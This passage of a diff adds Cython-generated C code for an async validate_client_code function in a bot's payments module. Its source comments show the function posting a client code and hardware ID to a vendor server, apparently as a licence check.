(__pyx_t_15) { + __pyx_t_18 = __Pyx_PyObject_Call(__pyx_t_15, __pyx_tuple__38, NULL); + __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; + if (unlikely(!__pyx_t_18)) __PYX_ERR(0, 202, __pyx_L16_error) + __Pyx_GOTREF(__pyx_t_18); + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_18); + __Pyx_DECREF(__pyx_t_18); __pyx_t_18 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_7); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_7; + __Pyx_XGIVEREF(__pyx_t_8); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_8; + __Pyx_XGIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_t_3 = __pyx_t_10; + __Pyx_XGIVEREF(__pyx_t_12); + __pyx_cur_scope->__pyx_t_4 = __pyx_t_12; + __Pyx_XGIVEREF(__pyx_t_13); + __pyx_cur_scope->__pyx_t_5 = __pyx_t_13; + __Pyx_XGIVEREF(__pyx_t_14); + __pyx_cur_scope->__pyx_t_6 = __pyx_t_14; + __Pyx_XGIVEREF(__pyx_t_15); + __pyx_cur_scope->__pyx_t_7 = __pyx_t_15; + __Pyx_XGIVEREF(__pyx_t_18); + __pyx_cur_scope->__pyx_t_8 = __pyx_t_18; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 5; + return __pyx_r; + __pyx_L40_resume_from_await:; + __pyx_t_7 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_7); + __pyx_t_8 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_8); + __pyx_t_9 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_9); + __pyx_t_10 = __pyx_cur_scope->__pyx_t_3; + __pyx_cur_scope->__pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_t_10); + __pyx_t_12 = __pyx_cur_scope->__pyx_t_4; + __pyx_cur_scope->__pyx_t_4 = 0; + __Pyx_XGOTREF(__pyx_t_12); + __pyx_t_13 = __pyx_cur_scope->__pyx_t_5; + __pyx_cur_scope->__pyx_t_5 = 0; + __Pyx_XGOTREF(__pyx_t_13); + __pyx_t_14 = __pyx_cur_scope->__pyx_t_6; + __pyx_cur_scope->__pyx_t_6 = 0; + __Pyx_XGOTREF(__pyx_t_14); + __pyx_t_15 = __pyx_cur_scope->__pyx_t_7; + __pyx_cur_scope->__pyx_t_7 = 0; + __Pyx_XGOTREF(__pyx_t_15); + __pyx_t_18 = __pyx_cur_scope->__pyx_t_8; + __pyx_cur_scope->__pyx_t_8 = 0; + __Pyx_XGOTREF(__pyx_t_18); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 202, __pyx_L16_error) + __pyx_t_11 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_11); + } else { + __pyx_t_11 = NULL; + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_11) < 0) __PYX_ERR(0, 202, __pyx_L16_error) + __Pyx_GOTREF(__pyx_t_11); + } + __pyx_t_18 = __pyx_t_11; + __pyx_t_11 = 0; + __Pyx_DECREF(__pyx_t_18); __pyx_t_18 = 0; + } + goto __pyx_L26; + } + __pyx_L24_return: { + __Pyx_PyThreadState_assign + __pyx_t_18 = 0; __pyx_t_17 = 0; __pyx_t_16 = 0; __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; + if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_19, &__pyx_t_20, &__pyx_t_21); + if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_18, &__pyx_t_17, &__pyx_t_16) < 0)) __Pyx_ErrFetch(&__pyx_t_18, &__pyx_t_17, &__pyx_t_16); + __Pyx_XGOTREF(__pyx_t_18); + __Pyx_XGOTREF(__pyx_t_17); + __Pyx_XGOTREF(__pyx_t_16); + __Pyx_XGOTREF(__pyx_t_19); + __Pyx_XGOTREF(__pyx_t_20); + __Pyx_XGOTREF(__pyx_t_21); + __pyx_t_22 = __pyx_r; + __pyx_r = 0; + if (__pyx_t_15) { + __pyx_t_23 = __Pyx_PyObject_Call(__pyx_t_15, __pyx_tuple__38, NULL); + __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; + if (unlikely(!__pyx_t_23)) __PYX_ERR(0, 202, __pyx_L16_error) + __Pyx_GOTREF(__pyx_t_23); + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_23); + __Pyx_DECREF(__pyx_t_23); __pyx_t_23 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_7); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_7; + __Pyx_XGIVEREF(__pyx_t_8); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_8; + __Pyx_XGIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_t_3 = __pyx_t_10; + __Pyx_XGIVEREF(__pyx_t_12); + __pyx_cur_scope->__pyx_t_4 = __pyx_t_12; + __Pyx_XGIVEREF(__pyx_t_13); + __pyx_cur_scope->__pyx_t_5 = __pyx_t_13; + __Pyx_XGIVEREF(__pyx_t_14); + __pyx_cur_scope->__pyx_t_6 = __pyx_t_14; + __Pyx_XGIVEREF(__pyx_t_15); + __pyx_cur_scope->__pyx_t_7 = __pyx_t_15; + __Pyx_XGIVEREF(__pyx_t_16); + __pyx_cur_scope->__pyx_t_8 = __pyx_t_16; + __Pyx_XGIVEREF(__pyx_t_17); + __pyx_cur_scope->__pyx_t_9 = __pyx_t_17; + __Pyx_XGIVEREF(__pyx_t_18); + __pyx_cur_scope->__pyx_t_10 = __pyx_t_18; + __Pyx_XGIVEREF(__pyx_t_19); + __pyx_cur_scope->__pyx_t_11 = __pyx_t_19; + __Pyx_XGIVEREF(__pyx_t_20); + __pyx_cur_scope->__pyx_t_12 = __pyx_t_20; + __Pyx_XGIVEREF(__pyx_t_21); + __pyx_cur_scope->__pyx_t_13 = __pyx_t_21; + __Pyx_XGIVEREF(__pyx_t_22); + __pyx_cur_scope->__pyx_t_14 = __pyx_t_22; + __Pyx_XGIVEREF(__pyx_t_23); + __pyx_cur_scope->__pyx_t_15 = __pyx_t_23; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 6; + return __pyx_r; + __pyx_L41_resume_from_await:; + __pyx_t_7 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_7); + __pyx_t_8 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_8); + __pyx_t_9 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_9); + __pyx_t_10 = __pyx_cur_scope->__pyx_t_3; + __pyx_cur_scope->__pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_t_10); + __pyx_t_12 = __pyx_cur_scope->__pyx_t_4; + __pyx_cur_scope->__pyx_t_4 = 0; + __Pyx_XGOTREF(__pyx_t_12); + __pyx_t_13 = __pyx_cur_scope->__pyx_t_5; + __pyx_cur_scope->__pyx_t_5 = 0; + __Pyx_XGOTREF(__pyx_t_13); + __pyx_t_14 = __pyx_cur_scope->__pyx_t_6; + __pyx_cur_scope->__pyx_t_6 = 0; + __Pyx_XGOTREF(__pyx_t_14); + __pyx_t_15 = __pyx_cur_scope->__pyx_t_7; + __pyx_cur_scope->__pyx_t_7 = 0; + __Pyx_XGOTREF(__pyx_t_15); + __pyx_t_16 = __pyx_cur_scope->__pyx_t_8; + __pyx_cur_scope->__pyx_t_8 = 0; + __Pyx_XGOTREF(__pyx_t_16); + __pyx_t_17 = __pyx_cur_scope->__pyx_t_9; + __pyx_cur_scope->__pyx_t_9 = 0; + __Pyx_XGOTREF(__pyx_t_17); + __pyx_t_18 = __pyx_cur_scope->__pyx_t_10; + __pyx_cur_scope->__pyx_t_10 = 0; + __Pyx_XGOTREF(__pyx_t_18); + __pyx_t_19 = __pyx_cur_scope->__pyx_t_11; + __pyx_cur_scope->__pyx_t_11 = 0; + __Pyx_XGOTREF(__pyx_t_19); + __pyx_t_20 = __pyx_cur_scope->__pyx_t_12; + __pyx_cur_scope->__pyx_t_12 = 0; + __Pyx_XGOTREF(__pyx_t_20); + __pyx_t_21 = __pyx_cur_scope->__pyx_t_13; + __pyx_cur_scope->__pyx_t_13 = 0; + __Pyx_XGOTREF(__pyx_t_21); + __pyx_t_22 = __pyx_cur_scope->__pyx_t_14; + __pyx_cur_scope->__pyx_t_14 = 0; + __Pyx_XGOTREF(__pyx_t_22); + __pyx_t_23 = __pyx_cur_scope->__pyx_t_15; + __pyx_cur_scope->__pyx_t_15 = 0; + __Pyx_XGOTREF(__pyx_t_23); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 202, __pyx_L16_error) + __pyx_t_11 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_11); + } else { + __pyx_t_11 = NULL; + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_11) < 0) __PYX_ERR(0, 202, __pyx_L16_error) + __Pyx_GOTREF(__pyx_t_11); + } + __pyx_t_23 = __pyx_t_11; + __pyx_t_11 = 0; + __Pyx_DECREF(__pyx_t_23); __pyx_t_23 = 0; + } + __pyx_r = __pyx_t_22; + __pyx_t_22 = 0; + if (PY_MAJOR_VERSION >= 3) { + __Pyx_XGIVEREF(__pyx_t_19); + __Pyx_XGIVEREF(__pyx_t_20); + __Pyx_XGIVEREF(__pyx_t_21); + __Pyx_ExceptionReset(__pyx_t_19, __pyx_t_20, __pyx_t_21); + } + __Pyx_XGIVEREF(__pyx_t_18); + __Pyx_XGIVEREF(__pyx_t_17); + __Pyx_XGIVEREF(__pyx_t_16); + __Pyx_ErrRestore(__pyx_t_18, __pyx_t_17, __pyx_t_16); + __pyx_t_18 = 0; __pyx_t_17 = 0; __pyx_t_16 = 0; __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; + goto __pyx_L20_try_return; + } + __pyx_L26:; + } + goto __pyx_L42; + __pyx_L22_error:; + __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; + goto __pyx_L16_error; + __pyx_L42:; + } + + /* "handlers/payments/gift.py":200 + * + * try: + * async with aiohttp.ClientSession() as session: # <<<<<<<<<<<<<< + * payload = {"code": CLIENT_CODE, "hardware_id": hardware_id} + * async with session.post("https://pocomacho.ru/solonetbot/codes/add/", json=payload) as response: + */ + } + __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; + __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; + goto __pyx_L21_try_end; + __pyx_L16_error:; + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + /*except:*/ { + __Pyx_AddTraceback("handlers.payments.gift.validate_client_code", __pyx_clineno, __pyx_lineno, __pyx_filename); + if (__Pyx_GetException(&__pyx_t_11, &__pyx_t_2, &__pyx_t_3) < 0) __PYX_ERR(0, 200, __pyx_L18_except_error) + __Pyx_XGOTREF(__pyx_t_11); + __Pyx_XGOTREF(__pyx_t_2); + __Pyx_XGOTREF(__pyx_t_3); + __pyx_t_1 = PyTuple_Pack(3, __pyx_t_11, __pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 200, __pyx_L18_except_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_15 = __Pyx_PyObject_Call(__pyx_t_10, __pyx_t_1, NULL); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 200, __pyx_L18_except_error) + __Pyx_GOTREF(__pyx_t_15); + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_15); + __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_2; + __Pyx_XGIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_3; + __Pyx_XGIVEREF(__pyx_t_7); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_7; + __Pyx_XGIVEREF(__pyx_t_8); + __pyx_cur_scope->__pyx_t_3 = __pyx_t_8; + __Pyx_XGIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_t_4 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_t_5 = __pyx_t_10; + __Pyx_XGIVEREF(__pyx_t_11); + __pyx_cur_scope->__pyx_t_6 = __pyx_t_11; + __Pyx_XGIVEREF(__pyx_t_12); + __pyx_cur_scope->__pyx_t_7 = __pyx_t_12; + __Pyx_XGIVEREF(__pyx_t_13); + __pyx_cur_scope->__pyx_t_8 = __pyx_t_13; + __Pyx_XGIVEREF(__pyx_t_14); + __pyx_cur_scope->__pyx_t_9 = __pyx_t_14; + __Pyx_XGIVEREF(__pyx_t_15); + __pyx_cur_scope->__pyx_t_10 = __pyx_t_15; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_SwapException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 7; + return __pyx_r; + __pyx_L46_resume_from_await:; + __pyx_t_2 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_2); + __pyx_t_3 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_3); + __pyx_t_7 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_7); + __pyx_t_8 = __pyx_cur_scope->__pyx_t_3; + __pyx_cur_scope->__pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_t_8); + __pyx_t_9 = __pyx_cur_scope->__pyx_t_4; + __pyx_cur_scope->__pyx_t_4 = 0; + __Pyx_XGOTREF(__pyx_t_9); + __pyx_t_10 = __pyx_cur_scope->__pyx_t_5; + __pyx_cur_scope->__pyx_t_5 = 0; + __Pyx_XGOTREF(__pyx_t_10); + __pyx_t_11 = __pyx_cur_scope->__pyx_t_6; + __pyx_cur_scope->__pyx_t_6 = 0; + __Pyx_XGOTREF(__pyx_t_11); + __pyx_t_12 = __pyx_cur_scope->__pyx_t_7; + __pyx_cur_scope->__pyx_t_7 = 0; + __Pyx_XGOTREF(__pyx_t_12); + __pyx_t_13 = __pyx_cur_scope->__pyx_t_8; + __pyx_cur_scope->__pyx_t_8 = 0; + __Pyx_XGOTREF(__pyx_t_13); + __pyx_t_14 = __pyx_cur_scope->__pyx_t_9; + __pyx_cur_scope->__pyx_t_9 = 0; + __Pyx_XGOTREF(__pyx_t_14); + __pyx_t_15 = __pyx_cur_scope->__pyx_t_10; + __pyx_cur_scope->__pyx_t_10 = 0; + __Pyx_XGOTREF(__pyx_t_15); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 200, __pyx_L18_except_error) + __pyx_t_1 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_1); + } else { + __pyx_t_1 = NULL; + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_1) < 0) __PYX_ERR(0, 200, __pyx_L18_except_error) + __Pyx_GOTREF(__pyx_t_1); + } + __pyx_t_15 = __pyx_t_1; + __pyx_t_1 = 0; + __pyx_t_5 = __Pyx_PyObject_IsTrue(__pyx_t_15); + __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; + if (__pyx_t_5 < 0) __PYX_ERR(0, 200, __pyx_L18_except_error) + __pyx_t_6 = (!__pyx_t_5); + if (unlikely(__pyx_t_6)) { + __Pyx_GIVEREF(__pyx_t_11); + __Pyx_GIVEREF(__pyx_t_2); + __Pyx_XGIVEREF(__pyx_t_3); + __Pyx_ErrRestoreWithState(__pyx_t_11, __pyx_t_2, __pyx_t_3); + __pyx_t_11 = 0; __pyx_t_2 = 0; __pyx_t_3 = 0; + __PYX_ERR(0, 200, __pyx_L18_except_error) + } + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + goto __pyx_L17_exception_handled; + } + __pyx_L18_except_error:; + __Pyx_XGIVEREF(__pyx_t_12); + __Pyx_XGIVEREF(__pyx_t_13); + __Pyx_XGIVEREF(__pyx_t_14); + __Pyx_ExceptionReset(__pyx_t_12, __pyx_t_13, __pyx_t_14); + goto __pyx_L5_error; + __pyx_L20_try_return:; + __Pyx_XGIVEREF(__pyx_t_12); + __Pyx_XGIVEREF(__pyx_t_13); + __Pyx_XGIVEREF(__pyx_t_14); + __Pyx_ExceptionReset(__pyx_t_12, __pyx_t_13, __pyx_t_14); + goto __pyx_L13_return; + __pyx_L17_exception_handled:; + __Pyx_XGIVEREF(__pyx_t_12); + __Pyx_XGIVEREF(__pyx_t_13); + __Pyx_XGIVEREF(__pyx_t_14); + __Pyx_ExceptionReset(__pyx_t_12, __pyx_t_13, __pyx_t_14); + __pyx_L21_try_end:; + } + } + /*finally:*/ { + /*normal exit:*/{ + if (__pyx_t_10) { + __pyx_t_14 = __Pyx_PyObject_Call(__pyx_t_10, __pyx_tuple__38, NULL); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 200, __pyx_L5_error) + __Pyx_GOTREF(__pyx_t_14); + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_14); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_7); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_7; + __Pyx_XGIVEREF(__pyx_t_8); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_8; + __Pyx_XGIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_t_3 = __pyx_t_10; + __Pyx_XGIVEREF(__pyx_t_14); + __pyx_cur_scope->__pyx_t_4 = __pyx_t_14; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 8; + return __pyx_r; + __pyx_L47_resume_from_await:; + __pyx_t_7 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_7); + __pyx_t_8 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_8); + __pyx_t_9 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_9); + __pyx_t_10 = __pyx_cur_scope->__pyx_t_3; + __pyx_cur_scope->__pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_t_10); + __pyx_t_14 = __pyx_cur_scope->__pyx_t_4; + __pyx_cur_scope->__pyx_t_4 = 0; + __Pyx_XGOTREF(__pyx_t_14); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 200, __pyx_L5_error) + __pyx_t_3 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_3); + } else { + __pyx_t_3 = NULL; + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_3) < 0) __PYX_ERR(0, 200, __pyx_L5_error) + __Pyx_GOTREF(__pyx_t_3); + } + __pyx_t_14 = __pyx_t_3; + __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + } + goto __pyx_L15; + } + __pyx_L13_return: { + __Pyx_PyThreadState_assign + __pyx_t_14 = 0; __pyx_t_13 = 0; __pyx_t_12 = 0; __pyx_t_15 = 0; __pyx_t_21 = 0; __pyx_t_20 = 0; + if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_15, &__pyx_t_21, &__pyx_t_20); + if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_14, &__pyx_t_13, &__pyx_t_12) < 0)) __Pyx_ErrFetch(&__pyx_t_14, &__pyx_t_13, &__pyx_t_12); + __Pyx_XGOTREF(__pyx_t_14); + __Pyx_XGOTREF(__pyx_t_13); + __Pyx_XGOTREF(__pyx_t_12); + __Pyx_XGOTREF(__pyx_t_15); + __Pyx_XGOTREF(__pyx_t_21); + __Pyx_XGOTREF(__pyx_t_20); + __pyx_t_19 = __pyx_r; + __pyx_r = 0; + if (__pyx_t_10) { + __pyx_t_16 = __Pyx_PyObject_Call(__pyx_t_10, __pyx_tuple__38, NULL); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 200, __pyx_L5_error) + __Pyx_GOTREF(__pyx_t_16); + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_16); + __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_7); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_7; + __Pyx_XGIVEREF(__pyx_t_8); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_8; + __Pyx_XGIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_t_3 = __pyx_t_10; + __Pyx_XGIVEREF(__pyx_t_12); + __pyx_cur_scope->__pyx_t_4 = __pyx_t_12; + __Pyx_XGIVEREF(__pyx_t_13); + __pyx_cur_scope->__pyx_t_5 = __pyx_t_13; + __Pyx_XGIVEREF(__pyx_t_14); + __pyx_cur_scope->__pyx_t_6 = __pyx_t_14; + __Pyx_XGIVEREF(__pyx_t_15); + __pyx_cur_scope->__pyx_t_7 = __pyx_t_15; + __Pyx_XGIVEREF(__pyx_t_16); + __pyx_cur_scope->__pyx_t_8 = __pyx_t_16; + __Pyx_XGIVEREF(__pyx_t_19); + __pyx_cur_scope->__pyx_t_9 = __pyx_t_19; + __Pyx_XGIVEREF(__pyx_t_20); + __pyx_cur_scope->__pyx_t_10 = __pyx_t_20; + __Pyx_XGIVEREF(__pyx_t_21); + __pyx_cur_scope->__pyx_t_11 = __pyx_t_21; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 9; + return __pyx_r; + __pyx_L48_resume_from_await:; + __pyx_t_7 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_7); + __pyx_t_8 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_8); + __pyx_t_9 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_9); + __pyx_t_10 = __pyx_cur_scope->__pyx_t_3; + __pyx_cur_scope->__pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_t_10); + __pyx_t_12 = __pyx_cur_scope->__pyx_t_4; + __pyx_cur_scope->__pyx_t_4 = 0; + __Pyx_XGOTREF(__pyx_t_12); + __pyx_t_13 = __pyx_cur_scope->__pyx_t_5; + __pyx_cur_scope->__pyx_t_5 = 0; + __Pyx_XGOTREF(__pyx_t_13); + __pyx_t_14 = __pyx_cur_scope->__pyx_t_6; + __pyx_cur_scope->__pyx_t_6 = 0; + __Pyx_XGOTREF(__pyx_t_14); + __pyx_t_15 = __pyx_cur_scope->__pyx_t_7; + __pyx_cur_scope->__pyx_t_7 = 0; + __Pyx_XGOTREF(__pyx_t_15); + __pyx_t_16 = __pyx_cur_scope->__pyx_t_8; + __pyx_cur_scope->__pyx_t_8 = 0; + __Pyx_XGOTREF(__pyx_t_16); + __pyx_t_19 = __pyx_cur_scope->__pyx_t_9; + __pyx_cur_scope->__pyx_t_9 = 0; + __Pyx_XGOTREF(__pyx_t_19); + __pyx_t_20 = __pyx_cur_scope->__pyx_t_10; + __pyx_cur_scope->__pyx_t_10 = 0; + __Pyx_XGOTREF(__pyx_t_20); + __pyx_t_21 = __pyx_cur_scope->__pyx_t_11; + __pyx_cur_scope->__pyx_t_11 = 0; + __Pyx_XGOTREF(__pyx_t_21); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 200, __pyx_L5_error) + __pyx_t_3 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_3); + } else { + __pyx_t_3 = NULL; + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_3) < 0) __PYX_ERR(0, 200, __pyx_L5_error) + __Pyx_GOTREF(__pyx_t_3); + } + __pyx_t_16 = __pyx_t_3; + __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; + } + __pyx_r = __pyx_t_19; + __pyx_t_19 = 0; + if (PY_MAJOR_VERSION >= 3) { + __Pyx_XGIVEREF(__pyx_t_15); + __Pyx_XGIVEREF(__pyx_t_21); + __Pyx_XGIVEREF(__pyx_t_20); + __Pyx_ExceptionReset(__pyx_t_15, __pyx_t_21, __pyx_t_20); + } + __Pyx_XGIVEREF(__pyx_t_14); + __Pyx_XGIVEREF(__pyx_t_13); + __Pyx_XGIVEREF(__pyx_t_12); + __Pyx_ErrRestore(__pyx_t_14, __pyx_t_13, __pyx_t_12); + __pyx_t_14 = 0; __pyx_t_13 = 0; __pyx_t_12 = 0; __pyx_t_15 = 0; __pyx_t_21 = 0; __pyx_t_20 = 0; + goto __pyx_L9_try_return; + } + __pyx_L15:; + } + goto __pyx_L49; + __pyx_L11_error:; + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + goto __pyx_L5_error; + __pyx_L49:; + } + + /* "handlers/payments/gift.py":199 + * return False + * + * try: # <<<<<<<<<<<<<< + * async with aiohttp.ClientSession() as session: + * payload = {"code": CLIENT_CODE, "hardware_id": hardware_id} + */ + } + __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; + goto __pyx_L10_try_end; + __pyx_L5_error:; + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/gift.py":213 + * else: + * return False + * except Exception: # <<<<<<<<<<<<<< + * return False + */ + __pyx_t_24 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); + if (__pyx_t_24) { + __Pyx_AddTraceback("handlers.payments.gift.validate_client_code", __pyx_clineno, __pyx_lineno, __pyx_filename); + if (__Pyx_GetException(&__pyx_t_3, &__pyx_t_2, &__pyx_t_11) < 0) __PYX_ERR(0, 213, __pyx_L7_except_error) + __Pyx_XGOTREF(__pyx_t_3); + __Pyx_XGOTREF(__pyx_t_2); + __Pyx_XGOTREF(__pyx_t_11); + + /* "handlers/payments/gift.py":214 + * return False + * except Exception: + * return False # <<<<<<<<<<<<<< + */ + __Pyx_XDECREF(__pyx_r); + __pyx_r = NULL; __Pyx_ReturnWithStopIteration(Py_False); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + goto __pyx_L8_except_return; + } + goto __pyx_L7_except_error; + + /* "handlers/payments/gift.py":199 + * return False + * + * try: # <<<<<<<<<<<<<< + * async with aiohttp.ClientSession() as session: + * payload = {"code": CLIENT_CODE, "hardware_id": hardware_id} + */ + __pyx_L7_except_error:; + 